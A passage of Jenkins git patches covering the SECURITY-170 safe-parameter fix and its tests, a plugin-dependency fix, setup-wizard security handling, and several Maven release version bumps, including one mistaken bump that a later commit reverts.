@param additionalSafeParameters additional safe parameters + * @since TODO + */ + public ParametersAction(List parameters, Collection additionalSafeParameters) { + this(parameters); + if (additionalSafeParameters != null) { + safeParameters.addAll(additionalSafeParameters); + } } public ParametersAction(ParameterValue... parameters) { @@ -202,7 +226,9 @@ public class ParametersAction implements RunAction2, Iterable, Q @Nonnull public ParametersAction createUpdated(Collection overrides) { if(overrides == null) { - return new ParametersAction(parameters); + ParametersAction parametersAction = new ParametersAction(parameters); + parametersAction.safeParameters = this.safeParameters; + return parametersAction; } List combinedParameters = newArrayList(overrides); Set names = newHashSet(); @@ -219,7 +245,7 @@ public class ParametersAction implements RunAction2, Iterable, Q } } - return new ParametersAction(combinedParameters); + return new ParametersAction(combinedParameters, this.safeParameters); } /* @@ -230,14 +256,27 @@ public class ParametersAction implements RunAction2, Iterable, Q @Nonnull public ParametersAction merge(@CheckForNull ParametersAction overrides) { if (overrides == null) { - return new ParametersAction(parameters); + ParametersAction parametersAction = new ParametersAction(parameters, this.safeParameters); + return parametersAction; } - return createUpdated(overrides.parameters); + ParametersAction parametersAction = createUpdated(overrides.parameters); + Set safe = new TreeSet<>(); + if (parametersAction.safeParameters != null && this.safeParameters != null) { + safe.addAll(this.safeParameters); + } + if (overrides.safeParameters != null) { + safe.addAll(overrides.safeParameters); + } + parametersAction.safeParameters = safe; + return parametersAction; } private Object readResolve() { if (build != null) OldDataMonitor.report(build, "1.283"); + if (safeParameters == null) { + safeParameters = Collections.emptySet(); + } return this; } @@ -301,14 +340,6 @@ public class ParametersAction implements RunAction2, Iterable, Q } private boolean isSafeParameter(String name) { - if (safeParameters == null) { - String paramNames = System.getProperty(SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); - if (paramNames != null) { - safeParameters = Arrays.asList(paramNames.split(",")); - } else { - safeParameters = Collections.emptyList(); - } - } return safeParameters.contains(name); } diff --git a/test/src/test/java/hudson/model/ParametersActionTest2.java b/test/src/test/java/hudson/model/ParametersActionTest2.java index df8590e48f..10e4a2af39 100644 --- a/test/src/test/java/hudson/model/ParametersActionTest2.java +++ b/test/src/test/java/hudson/model/ParametersActionTest2.java @@ -10,6 +10,7 @@ import org.jvnet.hudson.test.recipes.LocalData; import java.io.IOException; import java.util.Arrays; +import java.util.Collection; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -149,6 +150,100 @@ public class ParametersActionTest2 { } } + @Test + @Issue("SECURITY-170") + public void whitelistedParameterByOverride() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + String name = p.getFullName(); + p.addProperty(new ParametersDefinitionProperty(Arrays.asList( + new StringParameterDefinition("foo", "foo"), + new StringParameterDefinition("bar", "bar")))); + + try { + ParametersAction action = new ParametersAction( + Arrays.asList( + new StringParameterValue("foo", "baz"), + new StringParameterValue("bar", "bar"), + new StringParameterValue("whitelisted1", "x"), + new StringParameterValue("whitelisted2", "y"), + new StringParameterValue("whitelisted3", "y") + ), + Arrays.asList("whitelisted1", "whitelisted2")); + FreeStyleBuild build = j.assertBuildStatusSuccess(p.scheduleBuild2(0, new Cause.UserIdCause(), action)); + + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + p = null; + build = null; + j.jenkins.reload(); + //Test again after reload + p = j.jenkins.getItemByFullName(name, FreeStyleProject.class); + build = p.getLastBuild(); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + } finally { + System.clearProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + } + } + + @Test + @Issue("SECURITY-170") + public void whitelistedParameterSameAfterChange() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + String name = p.getFullName(); + p.addProperty(new ParametersDefinitionProperty(Arrays.asList( + new StringParameterDefinition("foo", "foo"), + new StringParameterDefinition("bar", "bar")))); + + try { + System.setProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME, "whitelisted1,whitelisted2"); + FreeStyleBuild build = j.assertBuildStatusSuccess(p.scheduleBuild2(0, new Cause.UserIdCause(), new ParametersAction( + new StringParameterValue("foo", "baz"), + new StringParameterValue("bar", "bar"), + new StringParameterValue("whitelisted1", "x"), + new StringParameterValue("whitelisted2", "y"), + new StringParameterValue("whitelisted3", "z"), + new StringParameterValue("whitelisted4", "w") + ))); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + assertFalse("whitelisted4 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted4")); + + System.setProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME, "whitelisted3,whitelisted4"); + p = null; + build = null; + j.jenkins.reload(); + p = j.jenkins.getItemByFullName(name, FreeStyleProject.class); + build = p.getLastBuild(); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + assertFalse("whitelisted4 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted4")); + + } finally { + System.clearProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + } + } + + + @Test @Issue("SECURITY-170") public void nonParameterizedJob() throws Exception { @@ -194,6 +289,7 @@ public class ParametersActionTest2 { return false; } + public static class ParametersCheckBuilder extends Builder { private final boolean expectLegacyBehavior; -- GitLab From 1c416b89edf733962147b2eb45a4ce8824dc454e Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Wed, 6 Apr 2016 15:36:29 +0200 Subject: [PATCH 019/811] [JENKINS-32340] Enable disabled dependencies (cherry picked from commit 28335690e0b2535cdd76cc778ffdc45a5c4f67ac) --- core/src/main/java/hudson/PluginWrapper.java | 3 ++- core/src/main/resources/hudson/PluginManager/_table.js | 6 ++++++ .../src/main/resources/hudson/PluginManager/installed.jelly | 2 +- war/src/main/webapp/css/style.css | 6 ++++++ 4 files changed, 15 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 8fcd7b9b04..7b4acb8403 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -531,7 +531,8 @@ public class PluginWrapper implements Comparable, ModelObject { List missingDependencies = new ArrayList(); // make sure dependencies exist for (Dependency d : dependencies) { - if (parent.getPlugin(d.shortName) == null) + PluginWrapper dependency = parent.getPlugin(d.shortName); + if (dependency == null || !dependency.isActive()) { missingDependencies.add(d.toString()); } if (!missingDependencies.isEmpty()) diff --git a/core/src/main/resources/hudson/PluginManager/_table.js b/core/src/main/resources/hudson/PluginManager/_table.js index f7b8141069..374af9c99a 100644 --- a/core/src/main/resources/hudson/PluginManager/_table.js +++ b/core/src/main/resources/hudson/PluginManager/_table.js @@ -173,6 +173,12 @@ Behaviour.specify("#filter-box", '_table', 0, function(e) { function setEnableWidgetStates() { for (var i = 0; i < pluginTRs.length; i++) { + var pluginMetadata = pluginTRs[i].jenkinsPluginMetadata; + if (pluginTRs[i].hasClassName('has-dependants-but-disabled')) { + if (pluginMetadata.enableInput.checked) { + pluginTRs[i].removeClassName('has-dependants-but-disabled'); + } + } markAllDependantsDisabled(pluginTRs[i]); markHasDisabledDependencies(pluginTRs[i]); } diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 35b2947153..22ff5f7419 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -68,7 +68,7 @@ THE SOFTWARE. ${%Uninstall} - + Date: Wed, 25 May 2016 15:18:47 +0200 Subject: [PATCH 020/811] Fixup cherrypick --- core/src/main/java/hudson/PluginWrapper.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 7b4acb8403..6fc2b53c49 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -534,6 +534,7 @@ public class PluginWrapper implements Comparable, ModelObject { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null || !dependency.isActive()) { missingDependencies.add(d.toString()); + } } if (!missingDependencies.isEmpty()) throw new IOException("Dependency "+Util.join(missingDependencies, ", ")+" doesn't exist"); -- GitLab From 1290c72c7c1739d5ce0cc686a33d3f31fa79c7a0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 26 May 2016 14:03:26 +0200 Subject: [PATCH 021/811] [ogondza mimicking maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 8 ++++---- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f12d56cfb9..a16661f4a4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2e5a2b18f2..8b6c4f8cfe 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index e6404ea82b..9838a7bf1d 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.2 + HEAD @@ -158,7 +158,7 @@ THE SOFTWARE. mockito-core 1.10.19 - + org.powermock powermock-module-junit4 @@ -630,7 +630,7 @@ THE SOFTWARE. 1.${java.level} 1.${java.level} - diff --git a/test/pom.xml b/test/pom.xml index ce21cadead..d62c6e4280 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index f23dad62f0..fde804f11e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-war -- GitLab From 673e8b5e7930a90786c74ac1fecfb6b010953775 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 15:50:26 +0200 Subject: [PATCH 022/811] Towards 2.7.1 --- cli/pom.xml | 2 +- core/pom.xml | 6 +++--- pom.xml | 10 +++++----- test/pom.xml | 6 +++--- war/pom.xml | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 884801d36d..94f23f9379 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 01c89361b0..72a0b342b4 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-core @@ -113,7 +113,7 @@ THE SOFTWARE. org.jenkins-ci trilead-ssh2 - build217-jenkins-8 + build2.7.1-SNAPSHOT-jenkins-8 org.kohsuke.stapler @@ -215,7 +215,7 @@ THE SOFTWARE. antlr antlr - 2.7.6 + 2.7.1-SNAPSHOT.6 org.jvnet.hudson diff --git a/pom.xml b/pom.xml index d669360c5a..d946acb01b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.7 + HEAD @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.7.1 + 2.7.1-SNAPSHOT.1 1.4.1 0.11 ${skipTests} @@ -338,7 +338,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-deploy-plugin - 2.7 + 2.7.1-SNAPSHOT org.apache.maven.plugins @@ -504,7 +504,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-pmd-plugin - 2.7.1 + 2.7.1-SNAPSHOT.1 diff --git a/test/pom.xml b/test/pom.xml index 063b70832a..c0da540fd8 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT test @@ -62,7 +62,7 @@ THE SOFTWARE. ${project.groupId} jenkins-test-harness - 2.7 + 2.7.1-SNAPSHOT test @@ -145,7 +145,7 @@ THE SOFTWARE. xalan xalan - 2.7.1 + 2.7.1-SNAPSHOT.1 xml-apis diff --git a/war/pom.xml b/war/pom.xml index e0b996e54f..b11d3b9e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-war -- GitLab From 5919a14640425921c2b9384866bc7d2abcd006d5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 16:18:09 +0200 Subject: [PATCH 023/811] Revert "Towards 2.7.1" This reverts commit 673e8b5e7930a90786c74ac1fecfb6b010953775. --- cli/pom.xml | 2 +- core/pom.xml | 6 +++--- pom.xml | 10 +++++----- test/pom.xml | 6 +++--- war/pom.xml | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 94f23f9379..884801d36d 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 cli diff --git a/core/pom.xml b/core/pom.xml index 72a0b342b4..01c89361b0 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 jenkins-core @@ -113,7 +113,7 @@ THE SOFTWARE. org.jenkins-ci trilead-ssh2 - build2.7.1-SNAPSHOT-jenkins-8 + build217-jenkins-8 org.kohsuke.stapler @@ -215,7 +215,7 @@ THE SOFTWARE. antlr antlr - 2.7.1-SNAPSHOT.6 + 2.7.6 org.jvnet.hudson diff --git a/pom.xml b/pom.xml index d946acb01b..d669360c5a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.7 @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.7.1-SNAPSHOT.1 + 2.7.1 1.4.1 0.11 ${skipTests} @@ -338,7 +338,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-deploy-plugin - 2.7.1-SNAPSHOT + 2.7 org.apache.maven.plugins @@ -504,7 +504,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-pmd-plugin - 2.7.1-SNAPSHOT.1 + 2.7.1 diff --git a/test/pom.xml b/test/pom.xml index c0da540fd8..063b70832a 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 test @@ -62,7 +62,7 @@ THE SOFTWARE. ${project.groupId} jenkins-test-harness - 2.7.1-SNAPSHOT + 2.7 test @@ -145,7 +145,7 @@ THE SOFTWARE. xalan xalan - 2.7.1-SNAPSHOT.1 + 2.7.1 xml-apis diff --git a/war/pom.xml b/war/pom.xml index b11d3b9e99..e0b996e54f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 jenkins-war -- GitLab From 621c23ae412b17c3aeb00f9e59c0ef6099889401 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 16:20:30 +0200 Subject: [PATCH 024/811] Towards 2.7.1 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 884801d36d..94f23f9379 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 01c89361b0..3adadae138 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d669360c5a..55847c2cc6 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.7 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 063b70832a..592a1dd1e3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e0b996e54f..b11d3b9e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-war -- GitLab From e257db1b450fcb63ece4ddea44ce5ddb5bc33680 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 13 Jun 2016 23:13:08 -0700 Subject: [PATCH 025/811] [maven-release-plugin] prepare release jenkins-1.651.3 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a16661f4a4..fcfdd999e2 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 cli diff --git a/core/pom.xml b/core/pom.xml index 8b6c4f8cfe..6562c32b63 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 jenkins-core diff --git a/pom.xml b/pom.xml index 9838a7bf1d..6e0b2e7d27 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-1.651.3 diff --git a/test/pom.xml b/test/pom.xml index d62c6e4280..9a4ab63316 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 test diff --git a/war/pom.xml b/war/pom.xml index fde804f11e..c90c56d843 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 jenkins-war -- GitLab From bb14f1a29e6682fb253253c61ee34353483a9df7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 13 Jun 2016 23:13:08 -0700 Subject: [PATCH 026/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fcfdd999e2..78f1f3d39b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6562c32b63..2aaeec19a9 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6e0b2e7d27..dd4b1408e5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.3 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 9a4ab63316..4f26cbc9bb 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index c90c56d843..e888028489 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT jenkins-war -- GitLab From 1fef3f4b73dcd01d44bfc5275c5e2bfa963a74ae Mon Sep 17 00:00:00 2001 From: Keith Zantow Date: Thu, 2 Jun 2016 13:53:43 -0400 Subject: [PATCH 027/811] [FIXED JENKINS-34881] - Handle pre-configured security settings for new installs (#2364) * [FIXED JENKINS-34881] - handle non-default security settings for new installs * Ensure permissions * Initial security authentication token should still follow redirects (cherry picked from commit 723dfca37bcf3fecd33c75eaca01ce0d07014d70) --- core/src/main/java/hudson/PluginManager.java | 11 +++++- .../java/jenkins/install/InstallState.java | 11 +++++- .../java/jenkins/install/InstallUtil.java | 31 +-------------- .../java/jenkins/install/SetupWizard.java | 39 +++++++++++++++++-- .../authenticate-security-token.jelly | 1 + 5 files changed, 57 insertions(+), 36 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 03b5a8383e..1ee23f30dd 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -40,6 +40,7 @@ import hudson.model.UpdateCenter; import hudson.model.UpdateSite; import hudson.model.UpdateCenter.DownloadJob; import hudson.model.UpdateCenter.InstallationJob; +import hudson.security.ACL; import hudson.security.Permission; import hudson.security.PermissionScope; import hudson.util.CyclicGraphDetector; @@ -61,6 +62,8 @@ import jenkins.util.xml.RestrictiveEntityResolver; import net.sf.json.JSONArray; import net.sf.json.JSONObject; + +import org.acegisecurity.Authentication; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; @@ -1319,6 +1322,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas private void trackInitialPluginInstall(@Nonnull final List> installJobs) { final Jenkins jenkins = Jenkins.getInstance(); final UpdateCenter updateCenter = jenkins.getUpdateCenter(); + final Authentication currentAuth = Jenkins.getAuthentication(); if (!Jenkins.getInstance().getInstallState().isSetupComplete()) { jenkins.setInstallState(InstallState.INITIAL_PLUGINS_INSTALLING); @@ -1348,7 +1352,12 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas } updateCenter.persistInstallStatus(); if(!failures) { - InstallUtil.proceedToNextStateFrom(InstallState.INITIAL_PLUGINS_INSTALLING); + ACL.impersonate(currentAuth, new Runnable() { + @Override + public void run() { + InstallUtil.proceedToNextStateFrom(InstallState.INITIAL_PLUGINS_INSTALLING); + } + }); } } }.start(); diff --git a/core/src/main/java/jenkins/install/InstallState.java b/core/src/main/java/jenkins/install/InstallState.java index 27da766c28..7226c27df8 100644 --- a/core/src/main/java/jenkins/install/InstallState.java +++ b/core/src/main/java/jenkins/install/InstallState.java @@ -75,7 +75,16 @@ public class InstallState implements ExtensionPoint { * Creating an admin user for an initial Jenkins install. */ @Extension - public static final InstallState CREATE_ADMIN_USER = new InstallState("CREATE_ADMIN_USER", false); + public static final InstallState CREATE_ADMIN_USER = new InstallState("CREATE_ADMIN_USER", false) { + public void initializeState() { + Jenkins j = Jenkins.getInstance(); + // Skip this state if not using the security defaults + // e.g. in an init script set up security already + if (!j.getSetupWizard().isUsingSecurityDefaults()) { + InstallUtil.proceedToNextStateFrom(this); + } + } + }; /** * New Jenkins install. The user has kicked off the process of installing an diff --git a/core/src/main/java/jenkins/install/InstallUtil.java b/core/src/main/java/jenkins/install/InstallUtil.java index d611ba0b41..4914bfbf4b 100644 --- a/core/src/main/java/jenkins/install/InstallUtil.java +++ b/core/src/main/java/jenkins/install/InstallUtil.java @@ -50,11 +50,6 @@ import hudson.Functions; import hudson.Main; import hudson.model.UpdateCenter.DownloadJob.InstallationStatus; import hudson.model.UpdateCenter.DownloadJob.Installing; -import hudson.security.AuthorizationStrategy; -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; -import hudson.security.HudsonPrivateSecurityRealm; -import hudson.security.SecurityRealm; -import hudson.security.csrf.DefaultCrumbIssuer; import hudson.model.UpdateCenter.InstallationJob; import hudson.model.UpdateCenter.UpdateCenterJob; import hudson.util.VersionNumber; @@ -193,7 +188,7 @@ public class InstallUtil { // Edge case: used Jenkins 1 but did not save the system config page, // the version is not persisted and returns 1.0, so try to check if // they actually did anything - if (!j.getItemMap().isEmpty() || !mayBeJenkins2SecurityDefaults(j) || !j.getNodes().isEmpty()) { + if (!j.getItemMap().isEmpty() || !j.getNodes().isEmpty()) { return InstallState.UPGRADE; } @@ -213,30 +208,6 @@ public class InstallUtil { } } - /** - * This could be an upgrade, detect a non-default security realm for the stupid case - * where someone installed 1.x and did not save global config or create any items... - */ - private static boolean mayBeJenkins2SecurityDefaults(Jenkins j) { - // may be called before security set up first - if(j.getSecurityRealm() == SecurityRealm.NO_AUTHENTICATION && !(j.getCrumbIssuer() instanceof DefaultCrumbIssuer)) { - return true; - } - if(j.getSecurityRealm() instanceof HudsonPrivateSecurityRealm) { // might be called after a restart, setup isn't complete - HudsonPrivateSecurityRealm securityRealm = (HudsonPrivateSecurityRealm)j.getSecurityRealm(); - if(securityRealm.getAllUsers().size() == 1 && securityRealm.getUser(SetupWizard.initialSetupAdminUserName) != null) { - AuthorizationStrategy authStrategy = j.getAuthorizationStrategy(); - if(authStrategy instanceof FullControlOnceLoggedInAuthorizationStrategy) { - // must have been using 2.0+ to set this, as it wasn't present in 1.x and the default is true, to _allow_ anon read - if(!((FullControlOnceLoggedInAuthorizationStrategy)authStrategy).isAllowAnonymousRead()) { - return true; - } - } - } - } - return false; - } - /** * Save the current Jenkins instance version as the last executed version. *

